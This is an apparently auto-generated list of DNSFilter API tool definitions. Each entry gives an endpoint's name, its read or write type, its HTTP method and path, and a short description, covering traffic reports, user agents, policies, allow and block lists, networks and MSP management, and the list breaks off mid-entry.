dnsfilter_get_v1_traffic_reports_total_domains (read) — Total domain reqs -- Gets the total number of requests by domain for sites in a period of time. via GET /v1/traffic_reports/total_domains GET /api/v1/dnsfilter/v1/traffic_reports/total_domains. Scopes: api. dnsfilter_get_v1_traffic_reports_total_domains_collections (read) — Domain reqs collections -- Gets the total number of requests by domain for collections in a period of time. via GET /v1/traffic_reports/total_domains_collections GET /api/v1/dnsfilter/v1/traffic_reports/total_domains_collections. Scopes: api. dnsfilter_get_v1_traffic_reports_total_domains_organizations (read) — Domain reqs organizations -- Gets the total number of requests by domain for organizations in a period of time. via GET /v1/traffic_reports/total_domains_organizations GET /api/v1/dnsfilter/v1/traffic_reports/total_domains_organizations. Scopes: api. dnsfilter_get_v1_traffic_reports_total_domains_users (read) — Domain reqs users -- Gets the total number of requests by domain for users in a period of time. via GET /v1/traffic_reports/total_domains_users GET /api/v1/dnsfilter/v1/traffic_reports/total_domains_users. Scopes: api. dnsfilter_get_v1_traffic_reports_total_organizations_requests (read) — Total Org Requests -- Gets the total number of requests for organizations in a period of time. via GET /v1/traffic_reports/total_organizations_requests GET /api/v1/dnsfilter/v1/traffic_reports/total_organizations_requests. Scopes: api. dnsfilter_get_v1_traffic_reports_total_organizations_stats (read) — Organization stats -- Gets the total number of stats for organizations in a period of time. via GET /v1/traffic_reports/total_organizations_stats GET /api/v1/dnsfilter/v1/traffic_reports/total_organizations_stats. Scopes: api. dnsfilter_get_v1_traffic_reports_total_requests (read) — Total requests/time -- Gets the total number of requests for sites in a period of time. via GET /v1/traffic_reports/total_requests GET /api/v1/dnsfilter/v1/traffic_reports/total_requests. Scopes: api. dnsfilter_get_v1_traffic_reports_total_requests_agents (read) — Total requests clients -- Gets the total number of requests for roaming clients in a period of time. via GET /v1/traffic_reports/total_requests_agents GET /api/v1/dnsfilter/v1/traffic_reports/total_requests_agents. Scopes: api. dnsfilter_get_v1_traffic_reports_total_requests_collections (read) — Total requests collections -- Gets the total number of requests for collections in a period of time. via GET /v1/traffic_reports/total_requests_collections GET /api/v1/dnsfilter/v1/traffic_reports/total_requests_collections. Scopes: api. dnsfilter_get_v1_traffic_reports_total_requests_geo (read) — Total requests geo -- Gets the total number of requests for organizations in a period of time for the heatmap on overview. via GET /v1/traffic_reports/total_requests_geo GET /api/v1/dnsfilter/v1/traffic_reports/total_requests_geo. Scopes: api. dnsfilter_get_v1_traffic_reports_total_requests_organizations (read) — Total requests/organizations -- Gets the total number of requests for organizations in a period of time. via GET /v1/traffic_reports/total_requests_organizations GET /api/v1/dnsfilter/v1/traffic_reports/total_requests_organizations. Scopes: api. dnsfilter_get_v1_traffic_reports_total_requests_users (read) — Total requests users -- Gets the total number of requests for users in a period of time. via GET /v1/traffic_reports/total_requests_users GET /api/v1/dnsfilter/v1/traffic_reports/total_requests_users. Scopes: api. dnsfilter_get_v1_traffic_reports_total_roaming_clients (read) — Roaming clients -- Gets the roaming clients information. via GET /v1/traffic_reports/total_roaming_clients GET /api/v1/dnsfilter/v1/traffic_reports/total_roaming_clients. Scopes: api. dnsfilter_get_v1_traffic_reports_total_threats (read) — Total threats/time -- Gets the total number of threats for sites in a period of time. via GET /v1/traffic_reports/total_threats GET /api/v1/dnsfilter/v1/traffic_reports/total_threats. Scopes: api. dnsfilter_get_v1_traffic_reports_total_threats_agents (read) — Total threats clients -- Gets the total number of threats for roaming clients in a period of time. via GET /v1/traffic_reports/total_threats_agents GET /api/v1/dnsfilter/v1/traffic_reports/total_threats_agents. Scopes: api. dnsfilter_get_v1_traffic_reports_total_threats_collections (read) — Total threats collections -- Gets the total number of threats for collections in a period of time. via GET /v1/traffic_reports/total_threats_collections GET /api/v1/dnsfilter/v1/traffic_reports/total_threats_collections. Scopes: api. dnsfilter_get_v1_traffic_reports_total_threats_organizations (read) — Total threats organizations -- Gets the total number of threats for organizations in a period of time. via GET /v1/traffic_reports/total_threats_organizations GET /api/v1/dnsfilter/v1/traffic_reports/total_threats_organizations. Scopes: api. dnsfilter_get_v1_traffic_reports_total_threats_users (read) — Total threats users -- Gets the total number of threats for users in a period of time. via GET /v1/traffic_reports/total_threats_users GET /api/v1/dnsfilter/v1/traffic_reports/total_threats_users. Scopes: api. dnsfilter_get_v1_user_agent_bulk_deletes_by_id (read) — Show -- Gets a user agent bulk delete by id. via GET /v1/user_agent_bulk_deletes/{id} GET /api/v1/dnsfilter/v1/user_agent_bulk_deletes/{id}. Scopes: api. dnsfilter_get_v1_user_agent_bulk_deletes_counts (read) — Counts -- Gets a user agent bulk delete counts by id. via GET /v1/user_agent_bulk_deletes/counts GET /api/v1/dnsfilter/v1/user_agent_bulk_deletes/counts. Scopes: api. dnsfilter_get_v1_user_agent_bulk_updates_by_id (read) — Show -- Gets a user agent bulk update by id. via GET /v1/user_agent_bulk_updates/{id} GET /api/v1/dnsfilter/v1/user_agent_bulk_updates/{id}. Scopes: api. dnsfilter_get_v1_user_agent_bulk_updates_counts (read) — Counts -- Gets a user agent bulk delete counts by id. via GET /v1/user_agent_bulk_updates/counts GET /api/v1/dnsfilter/v1/user_agent_bulk_updates/counts. Scopes: api. dnsfilter_get_v1_user_agent_cleanups_by_id (read) — Show -- Gets the specific user agent cleanup. via GET /v1/user_agent_cleanups/{id} GET /api/v1/dnsfilter/v1/user_agent_cleanups/{id}. Scopes: api. dnsfilter_get_v1_user_agent_csv_exports_by_id (read) — Show -- Gets the specific user agent csv export. via GET /v1/user_agent_csv_exports/{id} GET /api/v1/dnsfilter/v1/user_agent_csv_exports/{id}. Scopes: api. dnsfilter_get_v1_user_agent_releases (read) — Gets a list of latest user agent releases for each unique combination of agent_type, architecture, release_channels, and white label. via GET /v1/user_agent_releases GET /api/v1/dnsfilter/v1/user_agent_releases. Scopes: api. dnsfilter_get_v1_user_agent_releases_relay (read) — Get relay -- Gets a list of latest relay releases for each unique combination of architecture, release_channels, and white label. via GET /v1/user_agent_releases/relay GET /api/v1/dnsfilter/v1/user_agent_releases/relay. Scopes: api. dnsfilter_get_v1_user_agents (read) — Get extant agents -- Gets a list of user agents with basic information. via GET /v1/user_agents GET /api/v1/dnsfilter/v1/user_agents. Scopes: api. dnsfilter_get_v1_user_agents_all (read) — Get all agents -- Gets a list of ALL user agents with basic information. via GET /v1/user_agents/all GET /api/v1/dnsfilter/v1/user_agents/all. Scopes: api. dnsfilter_get_v1_user_agents_by_id (read) — Show agent -- Gets the specified user agent with basic information. via GET /v1/user_agents/{id} GET /api/v1/dnsfilter/v1/user_agents/{id}. Scopes: api. dnsfilter_get_v1_user_agents_counts (read) — Counts -- Gets counts of user agents for each status. via GET /v1/user_agents/counts GET /api/v1/dnsfilter/v1/user_agents/counts. Scopes: api. dnsfilter_get_v1_user_agents_csv (read) — CSV Export -- Gets CSV of organization's user agents. via GET /v1/user_agents/csv GET /api/v1/dnsfilter/v1/user_agents/csv. Scopes: api. dnsfilter_get_v1_user_agents_tags (read) — Get tags -- Gets ALL tags used by user agents on a network or organization. via GET /v1/user_agents/tags GET /api/v1/dnsfilter/v1/user_agents/tags. Scopes: api. dnsfilter_get_v1_user_agents_uninstall_pin (read) — PIN -- Gets Uninstall pin for organization's user agents. via GET /v1/user_agents/uninstall_pin GET /api/v1/dnsfilter/v1/user_agents/uninstall_pin. Scopes: api. dnsfilter_get_v1_users (read) — Get extant -- Gets users basic information. via GET /v1/users GET /api/v1/dnsfilter/v1/users. Scopes: api. dnsfilter_get_v1_users_all (read) — Get all -- Gets ALL users basic information. via GET /v1/users/all GET /api/v1/dnsfilter/v1/users/all. Scopes: api. dnsfilter_get_v1_users_by_id (read) — Show user -- Gets basic information of the specified user. via GET /v1/users/{id} GET /api/v1/dnsfilter/v1/users/{id}. Scopes: api. dnsfilter_get_v2_agent_local_users_counts (read) — Count users -- Gets counts of agent local users by policy assignment status. via GET /v2/agent_local_users/counts GET /api/v1/dnsfilter/v2/agent_local_users/counts. Scopes: api. dnsfilter_get_v2_agent_local_users_csv_export_by_id (read) — Shows an agent local users CSV export. via GET /v2/agent_local_users_csv_export/{id} GET /api/v1/dnsfilter/v2/agent_local_users_csv_export/{id}. Scopes: api. dnsfilter_get_v2_current_user_ui_settings (read) — Get UI Settings -- Returns the current user's UI settings. via GET /v2/current_user/ui_settings GET /api/v1/dnsfilter/v2/current_user/ui_settings. Scopes: api. dnsfilter_get_v2_cyber_sight_csv_exports_by_id (read) — Shows a CyberSight csv export. via GET /v2/cyber_sight/csv_exports/{id} GET /api/v1/dnsfilter/v2/cyber_sight/csv_exports/{id}. Scopes: api. dnsfilter_get_v2_dashboards (read) — User's Dashboards -- Dasbboards for use by the current user. The user's default dashboard will be returned first, the rest alphabetically by name. via GET /v2/dashboards GET /api/v1/dnsfilter/v2/dashboards. Scopes: api. dnsfilter_get_v2_dashboards_available (read) — Available Dashboards -- Dashboards available to the current user. via GET /v2/dashboards/available GET /api/v1/dnsfilter/v2/dashboards/available. Scopes: api. dnsfilter_get_v2_dashboards_owned (read) — Owned Dashboards -- Dashboards owned by the current user. via GET /v2/dashboards/owned GET /api/v1/dnsfilter/v2/dashboards/owned. Scopes: api. dnsfilter_get_v2_dictionary_ai_applications (read) — AI Applications -- Return a list of AI Applications and websites. via GET /v2/dictionary/ai_applications GET /api/v1/dnsfilter/v2/dictionary/ai_applications. Scopes: api. dnsfilter_get_v2_dictionary_cyber_sight_activity_types (read) — CyberSight Activity Types -- Returns all available CyberSightReports activity types. via GET /v2/dictionary/cyber_sight_activity_types GET /api/v1/dnsfilter/v2/dictionary/cyber_sight_activity_types. Scopes: api. dnsfilter_get_v2_dictionary_vpn_settings_state_types (read) — VPN Settings State Types -- Returns all available VPN Settings State types. via GET /v2/dictionary/vpn_settings_state_types GET /api/v1/dnsfilter/v2/dictionary/vpn_settings_state_types. Scopes: api. dnsfilter_get_v2_networks_csv_export_by_id (read) — Shows a networks csv export. via GET /v2/networks_csv_export/{id} GET /api/v1/dnsfilter/v2/networks_csv_export/{id}. Scopes: api. dnsfilter_patch_v1_agent_local_users_by_id (write) — Updates an agent local user with the specified data. via PATCH /v1/agent_local_users/{id} PATCH /api/v1/dnsfilter/v1/agent_local_users/{id}. Scopes: api. dnsfilter_patch_v1_billing_address_by_organization_id (write) — Update address -- Update the billing address for the given organization. via PATCH /v1/billing/address/{organization_id} PATCH /api/v1/dnsfilter/v1/billing/address/{organization_id}. Scopes: api. dnsfilter_patch_v1_block_pages_by_id (write) — Updates a block_page with the specified data. via PATCH /v1/block_pages/{id} PATCH /api/v1/dnsfilter/v1/block_pages/{id}. Scopes: api. dnsfilter_patch_v1_current_user (write) — Update attributes for the currently authenticated user. via PATCH /v1/current_user PATCH /api/v1/dnsfilter/v1/current_user. Scopes: api. dnsfilter_patch_v1_distributors_distributors (write) — Updates the specified support Distributor information. via PATCH /v1/distributors/distributors PATCH /api/v1/dnsfilter/v1/distributors/distributors. Scopes: api. dnsfilter_patch_v1_distributors_msps_by_id (write) — Updates the specified MSP and its parent organization data. via PATCH /v1/distributors/msps/{id} PATCH /api/v1/dnsfilter/v1/distributors/msps/{id}. Scopes: api. dnsfilter_patch_v1_distributors_organizations_by_id (write) — Update suborganization -- Updates the specified MSP sub-organization data. via PATCH /v1/distributors/organizations/{id} PATCH /api/v1/dnsfilter/v1/distributors/organizations/{id}. Scopes: api. dnsfilter_patch_v1_enterprise_connections_by_id (write) — Update an enterprise connection. Note: To set your organization's custom login url for enterprise connections, you need to set the 'unique_id' attribute on the organization itself. See the PATCH /v1/organizations endpoint. via PATCH /v1/enterprise_connections/{id} PATCH /api/v1/dnsfilter/v1/enterprise_connections/{id}. Scopes: api. dnsfilter_patch_v1_ip_addresses_by_id (write) — Updates an IP address with the specified data. via PATCH /v1/ip_addresses/{id} PATCH /api/v1/dnsfilter/v1/ip_addresses/{id}. Scopes: api. dnsfilter_patch_v1_mac_addresses_by_id (write) — Updates a MAC address with the specified data. via PATCH /v1/mac_addresses/{id} PATCH /api/v1/dnsfilter/v1/mac_addresses/{id}. Scopes: api. dnsfilter_patch_v1_networks_by_id (write) — Updates a network with the specified data. via PATCH /v1/networks/{id} PATCH /api/v1/dnsfilter/v1/networks/{id}. Scopes: api. dnsfilter_patch_v1_networks_by_id_lan_ips_by_lan_ip_id (write) — Updates a network LAN IP with the specified data. via PATCH /v1/networks/{id}/lan_ips/{lan_ip_id} PATCH /api/v1/dnsfilter/v1/networks/{id}/lan_ips/{lan_ip_id}. Scopes: api. dnsfilter_patch_v1_networks_by_id_secret_key (write) — Rotate key -- Rotates (renew) a network secret key to be used by agents. via PATCH /v1/networks/{id}/secret_key PATCH /api/v1/dnsfilter/v1/networks/{id}/secret_key. Scopes: api. dnsfilter_patch_v1_networks_by_id_subnets_by_subnet_id (write) — Updates a network subnet with the specified data. via PATCH /v1/networks/{id}/subnets/{subnet_id} PATCH /api/v1/dnsfilter/v1/networks/{id}/subnets/{subnet_id}. Scopes: api. dnsfilter_patch_v1_notes_by_resource_by_id_batch_update (write) — Bulk update -- Updates notes for a resource with the specified data. via PATCH /v1/notes/{resource}/{id}/batch_update PATCH /api/v1/dnsfilter/v1/notes/{resource}/{id}/batch_update. Scopes: api. dnsfilter_patch_v1_notes_by_resource_by_id_by_domain (write) — Updates notes for a resource with the specified data. via PATCH /v1/notes/{resource}/{id}/{domain} PATCH /api/v1/dnsfilter/v1/notes/{resource}/{id}/{domain}. Scopes: api. dnsfilter_patch_v1_organizations_bulk_update (write) — Bulk update -- Updates one or more organizations with the specified data. via PATCH /v1/organizations/bulk_update PATCH /api/v1/dnsfilter/v1/organizations/bulk_update. Scopes: api. dnsfilter_patch_v1_organizations_by_id (write) — Updates an organization with the specified data. via PATCH /v1/organizations/{id} PATCH /api/v1/dnsfilter/v1/organizations/{id}. Scopes: api. dnsfilter_patch_v1_organizations_by_organization_id_users_by_id (write) — Updates a user or permissions with the specified data. via PATCH /v1/organizations/{organization_id}/users/{id} PATCH /api/v1/dnsfilter/v1/organizations/{organization_id}/users/{id}. Scopes: api. dnsfilter_patch_v1_policies_by_id (write) — Updates a policy with the specified data. via PATCH /v1/policies/{id} PATCH /api/v1/dnsfilter/v1/policies/{id}. Scopes: api. dnsfilter_patch_v1_scheduled_policies_by_id (write) — Updates a scheduled policy in the database with the specified data. via PATCH /v1/scheduled_policies/{id} PATCH /api/v1/dnsfilter/v1/scheduled_policies/{id}. Scopes: api. dnsfilter_patch_v1_scheduled_reports_by_id (write) — Updates a scheduled report. via PATCH /v1/scheduled_reports/{id} PATCH /api/v1/dnsfilter/v1/scheduled_reports/{id}. Scopes: api. dnsfilter_patch_v1_user_agents_by_id (write) — Updates an user agent with the specified data. via PATCH /v1/user_agents/{id} PATCH /api/v1/dnsfilter/v1/user_agents/{id}. Scopes: api. dnsfilter_patch_v1_users_change_password (write) — Change password -- Changes the password for the currently authenticated user. via PATCH /v1/users/change_password PATCH /api/v1/dnsfilter/v1/users/change_password. Scopes: api. dnsfilter_patch_v2_current_user_ui_settings (write) — Update UI Settings -- Updates current user's UI settings. via PATCH /v2/current_user/ui_settings PATCH /api/v1/dnsfilter/v2/current_user/ui_settings. Scopes: api. dnsfilter_patch_v2_dashboards_by_id (write) — Update a dashboard. via PATCH /v2/dashboards/{id} PATCH /api/v1/dnsfilter/v2/dashboards/{id}. Scopes: api. dnsfilter_patch_v2_user_agents_by_id_update_settings (write) — Update settings -- Updates both device settings and filtering client settings for a user agent. via PATCH /v2/user_agents/{id}/update_settings PATCH /api/v1/dnsfilter/v2/user_agents/{id}/update_settings. Scopes: api. dnsfilter_post_v1_agent_local_user_bulk_deletes (write) — Create an agent local user bulk delete. via POST /v1/agent_local_user_bulk_deletes POST /api/v1/dnsfilter/v1/agent_local_user_bulk_deletes. Scopes: api. dnsfilter_post_v1_api_keys (write) — Creates a new api key. via POST /v1/api_keys POST /api/v1/dnsfilter/v1/api_keys. Scopes: api. dnsfilter_post_v1_api_keys_by_id_revoke (write) — Revokes the api key for the user. via POST /v1/api_keys/{id}/revoke POST /api/v1/dnsfilter/v1/api_keys/{id}/revoke. Scopes: api. dnsfilter_post_v1_billing (write) — Create -- Register a newly created payment method in database. via POST /v1/billing POST /api/v1/dnsfilter/v1/billing. Scopes: api. dnsfilter_post_v1_block_pages (write) — Creates a new block page. via POST /v1/block_pages POST /api/v1/dnsfilter/v1/block_pages. Scopes: api. dnsfilter_post_v1_collections_by_collection_id_users (write) — Update -- Add a new user to a specific collection with the specified id. via POST /v1/collections/{collection_id}/users POST /api/v1/dnsfilter/v1/collections/{collection_id}/users. Scopes: api. dnsfilter_post_v1_distributors_msps (write) — Creates an MSP and its parent organization. via POST /v1/distributors/msps POST /api/v1/dnsfilter/v1/distributors/msps. Scopes: api. dnsfilter_post_v1_distributors_msps_by_id_cancel (write) — Cancels the specified MSP parent organization and all of its sub-organizations. via POST /v1/distributors/msps/{id}/cancel POST /api/v1/dnsfilter/v1/distributors/msps/{id}/cancel. Scopes: api. dnsfilter_post_v1_distributors_msps_by_id_reactivate (write) — Reactivates the specified MSP parent organization and all of its sub-organization if specified. via POST /v1/distributors/msps/{id}/reactivate POST /api/v1/dnsfilter/v1/distributors/msps/{id}/reactivate. Scopes: api. dnsfilter_post_v1_distributors_msps_by_id_upsert_skus (write) — Upsert SKUs -- Adds or removes the SKUs available to an entitlements-managed MSP post-creation. Returns the updated MSP. Triggers the license cascade for removed licenses. via POST /v1/distributors/msps/{id}/upsert_skus POST /api/v1/dnsfilter/v1/distributors/msps/{id}/upsert_skus. Scopes: api. dnsfilter_post_v1_distributors_organizations (write) — Create suborganization -- Creates an MSP sub-organization. via POST /v1/distributors/organizations POST /api/v1/dnsfilter/v1/distributors/organizations. Scopes: api. dnsfilter_post_v1_distributors_organizations_by_id_add_sku (write) — Add Sku -- Helper endpoint to add a single SKU to the specified MSP parent organization or sub-organization instead of doing a full update that should contain all SKUs. via POST /v1/distributors/organizations/{id}/add_sku POST /api/v1/dnsfilter/v1/distributors/organizations/{id}/add_sku. Scopes: api. dnsfilter_post_v1_distributors_organizations_by_id_cancel (write) — Cancel suborganization -- Cancels the specified MSP sub-organization. Note: See _Organization Cancellation_ for important details. via POST /v1/distributors/organizations/{id}/cancel POST /api/v1/dnsfilter/v1/distributors/organizations/{id}/cancel. Scopes: api. dnsfilter_post_v1_distributors_organizations_by_id_reactivate (write) — Reactivate suborg -- Reactivates the specified MSP sub-organization. Note: See _Organization Cancellation_ for important details. via POST /v1/distributors/organizations/{id}/reactivate POST /api/v1/dnsfilter/v1/distributors/organizations/{id}/reactivate. Scopes: api. dnsfilter_post_v1_distributors_organizations_by_id_remove_sku (write) — Remove Sku -- Helper endpoint to remove a single SKU to the specified MSP parent organization or sub-organization instead of doing a full update that should contain all SKUs. via POST /v1/distributors/organizations/{id}/remove_sku POST /api/v1/dnsfilter/v1/distributors/organizations/{id}/remove_sku. Scopes: api. dnsfilter_post_v1_distributors_users (write) — Create user -- Creates a new user alongside a membership with an organization. via POST /v1/distributors/users POST /api/v1/dnsfilter/v1/distributors/users. Scopes: api. dnsfilter_post_v1_distributors_users_by_id_add_membership (write) — Add membership -- Adds/creates a new user membership with an organization. via POST /v1/distributors/users/{id}/add_membership POST /api/v1/dnsfilter/v1/distributors/users/{id}/add_membership. Scopes: api. dnsfilter_post_v1_distributors_users_by_id_remove_membership (write) — Remove membership -- Removes/deletes an existing user membership with an organization. via POST /v1/distributors/users/{id}/remove_membership POST /api/v1/dnsfilter/v1/distributors/users/{id}/remove_membership. Scopes: api. dnsfilter_post_v1_distributors_users_by_id_reset_password_url (write) — Reset password URL -- Creates a new reset password URL for the specified user. The URL is valid for 432000 seconds (5 days). via POST /v1/distributors/users/{id}/reset_password_url POST /api/v1/dnsfilter/v1/distributors/users/{id}/reset_password_url. Scopes: api. dnsfilter_post_v1_distributors_users_by_id_send_reset_password_email (write) — Reset password -- Sends a reset password email to the specified user. via POST /v1/distributors/users/{id}/send_reset_password_email POST /api/v1/dnsfilter/v1/distributors/users/{id}/send_reset_password_email. Scopes: api. dnsfilter_post_v1_distributors_users_by_id_update_membership (write) — Update membership -- Updates an existing user membership with an organization. via POST /v1/distributors/users/{id}/update_membership POST /api/v1/dnsfilter/v1/distributors/users/{id}/update_membership. Scopes: api. dnsfilter_post_v1_domains_suggest_threat (write) — Suggest threat -- Mark a FQDN to verify its threat categorization. Request example: `/v1/domains/suggest_threat?fqdn=XXXX¬es&test-report&categories=1,222,989` via POST /v1/domains/suggest_threat POST /api/v1/dnsfilter/v1/domains/suggest_threat. Scopes: api. dnsfilter_post_v1_enterprise_connections (write) — Create an enterprise connection. Note: To set your organization's custom login url for enterprise connections, you need to set the 'unique_id' attribute on the organization itself. See the PATCH /v1/organizations endpoint. via POST /v1/enterprise_connections POST /api/v1/dnsfilter/v1/enterprise_connections. Scopes: api. dnsfilter_post_v1_ip_addresses (write) — Creates a new IP address with the specified data. via POST /v1/ip_addresses POST /api/v1/dnsfilter/v1/ip_addresses. Scopes: api. dnsfilter_post_v1_mac_addresses (write) — Creates a new MAC address with the specified data. via POST /v1/mac_addresses POST /api/v1/dnsfilter/v1/mac_addresses. Scopes: api. dnsfilter_post_v1_networks (write) — Creates a new network with the specified data. via POST /v1/networks POST /api/v1/dnsfilter/v1/networks. Scopes: api. dnsfilter_post_v1_networks_bulk_create (write) — Bulk create multiple networks with the specified data. via POST /v1/networks/bulk_create POST /api/v1/dnsfilter/v1/networks/bulk_create. Scopes: api. dnsfilter_post_v1_networks_bulk_update (write) — Bulk update multiple networks with the specified data. via POST /v1/networks/bulk_update POST /api/v1/dnsfilter/v1/networks/bulk_update. Scopes: api. dnsfilter_post_v1_networks_by_id_secret_key (write) — Create Key -- Creates a new network secret key to be used by agents. via POST /v1/networks/{id}/secret_key POST /api/v1/dnsfilter/v1/networks/{id}/secret_key. Scopes: api. dnsfilter_post_v1_networks_by_id_subnets (write) — Creates a network subnet with the specified data. via POST /v1/networks/{id}/subnets POST /api/v1/dnsfilter/v1/networks/{id}/subnets. Scopes: api. dnsfilter_post_v1_organizations (write) — Creates a new organization with the specified data. via POST /v1/organizations POST /api/v1/dnsfilter/v1/organizations. Scopes: api. dnsfilter_post_v1_organizations_by_id_cancel (write) — Cancel -- Sets an organization as 'Canceled'. via POST /v1/organizations/{id}/cancel POST /api/v1/dnsfilter/v1/organizations/{id}/cancel. Scopes: api. dnsfilter_post_v1_organizations_by_organization_id_users (write) — Create -- Adds a new or existing user with the specified email to the specified organization. via POST /v1/organizations/{organization_id}/users POST /api/v1/dnsfilter/v1/organizations/{organization_id}/users. Scopes: api. dnsfilter_post_v1_organizations_by_organization_id_users_by_id_resend_invite (write) — Resend Invite -- Resends the user invite for the specified user and organization. via POST /v1/organizations/{organization_id}/users/{id}/resend_invite POST /api/v1/dnsfilter/v1/organizations/{organization_id}/users/{id}/resend_invite. Scopes: api. dnsfilter_post_v1_organizations_promote_to_msp (write) — Promote an organization to a MSP. via POST /v1/organizations/promote_to_msp POST /api/v1/dnsfilter/v1/organizations/promote_to_msp. Scopes: api. dnsfilter_post_v1_policies (write) — Creates a new policy with the specified data. via POST /v1/policies POST /api/v1/dnsfilter/v1/policies. Scopes: api. dnsfilter_post_v1_policies_application_update (write) — Update application -- Updates a policy with the specified application data. via POST /v1/policies/application_update POST /api/v1/dnsfilter/v1/policies/application_update. Scopes: api. dnsfilter_post_v1_policies_bulk_add_allowlist_domains (write) — Bulk add allow -- Adds one or more domains to one or more policy's allow list. via POST /v1/policies/bulk/add_allowlist_domains POST /api/v1/dnsfilter/v1/policies/bulk/add_allowlist_domains. Scopes: api. dnsfilter_post_v1_policies_bulk_add_blocklist_domains (write) — Bulk add block -- Adds one or more domains to one or more policy's block list. via POST /v1/policies/bulk/add_blocklist_domains POST /api/v1/dnsfilter/v1/policies/bulk/add_blocklist_domains. Scopes: api. dnsfilter_post_v1_policies_bulk_remove_allowlist_domains (write) — Bulk delete allow -- Removes one or more domains from one or more policy's allow list. via POST /v1/policies/bulk/remove_allowlist_domains POST /api/v1/dnsfilter/v1/policies/bulk/remove_allowlist_domains. Scopes: api. dnsfilter_post_v1_policies_bulk_remove_blocklist_domains (write) — Bulk delete block -- Removes one or more domains from one or more policy's block list. via POST /v1/policies/bulk/remove_blocklist_domains POST /api/v1/dnsfilter/v1/policies/bulk/remove_blocklist_domains. Scopes: api. dnsfilter_post_v1_policies_by_id_add_allowed_application (write) — Add allow category -- Adds a single application to the allow list. via POST /v1/policies/{id}/add_allowed_application POST /api/v1/dnsfilter/v1/policies/{id}/add_allowed_application. Scopes: api. dnsfilter_post_v1_policies_by_id_add_blacklist_category (write) — Add block category -- Adds a single category to the blocklist. via POST /v1/policies/{id}/add_blacklist_category POST /api/v1/dnsfilter/v1/policies/{id}/add_blacklist_category. Scopes: api. dnsfilter_post_v1_policies_by_id_add_blacklist_domain (write) — Add block domain -- Adds a single domain to the blocklist. via POST /v1/policies/{id}/add_blacklist_domain POST /api/v1/dnsfilter/v1/policies/{id}/add_blacklist_domain. Scopes: api. dnsfilter_post_v1_policies_by_id_add_blocked_application (write) — Add block application -- Adds a single application to the block list. via POST /v1/policies/{id}/add_blocked_application POST /api/v1/dnsfilter/v1/policies/{id}/add_blocked_application. Scopes: api. dnsfilter_post_v1_policies_by_id_add_whitelist_domain (write) — Add allow domain -- Adds a single domain to the allowlist. via POST /v1/policies/{id}/add_whitelist_domain POST /api/v1/dnsfilter/v1/policies/{id}/add_whitelist_domain. Scopes: api. dnsfilter_post_v1_policies_by_id_permissive_mode (write) — Update permissive mode value. via POST /v1/policies/{id}/permissive_mode POST /api/v1/dnsfilter/v1/policies/{id}/permissive_mode. Scopes: api. dnsfilter_post_v1_policies_by_id_remove_allowed_application (write) — Remove allow category -- Removes a single application from the allow list. via POST /v1/policies/{id}/remove_allowed_application POST /api/v1/dnsfilter/v1/policies/{id}/remove_allowed_application. Scopes: api. dnsfilter_post_v1_policies_by_id_remove_blacklist_category (write) — Remove block category -- Removes a single category from the blocklist. via POST /v1/policies/{id}/remove_blacklist_category POST /api/v1/dnsfilter/v1/policies/{id}/remove_blacklist_category. Scopes: api. dnsfilter_post_v1_policies_by_id_remove_blacklist_domain (write) — Remove block domain -- Removes a single domain from the blocklist. via POST /v1/policies/{id}/remove_blacklist_domain POST /api/v1/dnsfilter/v1/policies/{id}/remove_blacklist_domain. Scopes: api. dnsfilter_post_v1_policies_by_id_remove_blocked_application (write) — Remove block application -- Removes a single application from the block list. via POST /v1/policies/{id}/remove_blocked_application POST /api/v1/dnsfilter/v1/policies/{id}/remove_blocked_application. Scopes: api. dnsfilter_post_v1_policies_by_id_remove_whitelist_domain (write) — Remove allow domain -- Removes a single domain from the allowlist. via POST /v1/policies/{id}/remove_whitelist_domain POST /api/v1/dnsfilter/v1/policies/{id}/remove_whitelist_domain. Scopes: api. dnsfilter_post_v1_scheduled_policies (write) — Creates a new scheduled policy. via POST /v1/scheduled_policies POST /api/v1/dnsfilter/v1/scheduled_policies. Scopes: api. dnsfilter_post_v1_scheduled_report_previews (write) — Creates a scheduled report preview, triggering the background generation. via POST /v1/scheduled_report_previews POST /api/v1/dnsfilter/v1/scheduled_report_previews. Scopes: api. dnsfilter_post_v1_scheduled_reports (write) — Creates a scheduled report. via POST /v1/scheduled_reports POST /api/v1/dnsfilter/v1/scheduled_reports. Scopes: api. dnsfilter_post_v1_trials (write) — Create trial. via POST /v1/trials POST /api/v1/dnsfilter/v1/trials. Scopes: api. dnsfilter_post_v1_user_agent_bulk_deletes (write) — Create a user agent bulk delete. via POST /v1/user_agent_bulk_deletes POST /api/v1/dnsfilter/v1/user_agent_bulk_deletes. Scopes: api. dnsfilter_post_v1_user_agent_bulk_updates (write) — Create a user agent bulk update. via POST /v1/user_agent_bulk_updates POST /api/v1/dnsfilter/v1/user_agent_bulk_updates. Scopes: api. dnsfilter_post_v1_user_agent_bulk_updates_has_mixed (write) — Check agent values -- Gets the value of whether each of the attributes of the elected user agents are mixed. via POST /v1/user_agent_bulk_updates/has_mixed POST /api/v1/dnsfilter/v1/user_agent_bulk_updates/has_mixed. Scopes: api. dnsfilter_post_v1_user_agent_cleanups (write) — Creates a user agent cleanup to track bulk deletion of user agents. via POST /v1/user_agent_cleanups POST /api/v1/dnsfilter/v1/user_agent_cleanups. Scopes: api. dnsfilter_post_v1_user_agent_csv_exports (write) — Creates a user agent csv export record to track export of user agents. via POST /v1/user_agent_csv_exports POST /api/v1/dnsfilter/v1/user_agent_csv_exports. Scopes: api. dnsfilter_post_v1_user_agents_dequeue_uninstall (write) — Remove queue -- Removes user agent from uninstall queue. via POST /v1/user_agents/dequeue_uninstall POST /api/v1/dnsfilter/v1/user_agents/dequeue_uninstall. Scopes: api. dnsfilter_post_v2_agent_local_users_csv_export (write) — Creates an agent local users CSV export record to track export of agent local users. via POST /v2/agent_local_users_csv_export POST /api/v1/dnsfilter/v2/agent_local_users_csv_export. Scopes: api. dnsfilter_post_v2_current_user_suppress_license_warning (write) — Suppresses license warning -- Returns the suppression date and relevant information. via POST /v2/current_user/suppress_license_warning POST /api/v1/dnsfilter/v2/current_user/suppress_license_warning. Scopes: api. dnsfilter_post_v2_cyber_sight_csv_exports_create (write) — Creates a cybersight csv export record to track export of cybersight report info. Invalid report filters and invalid included_columns are ignored; the CSV is generated using any valid filters and columns that remain. Filters (query/body) by report type: activity_logs: start_at, end_at, org_uuids, msp_uuid, excluded_org_uuids, category_ids, user_agent_uuids, agent_local_user_uuids, weekdays_only, search_id, size, sort_direction, activity_type_ids, app_executable_path, app_name, app_window_title, web_full_url, web_host. top_websites: start_at, end_at, org_uuids, msp_uuid, excluded_org_uuids, category_ids, user_agent_uuids, agent_local_user_uuids, weekdays_only, search_id, size, sort_direction, web_full_url, web_host. top_applications: start_at, 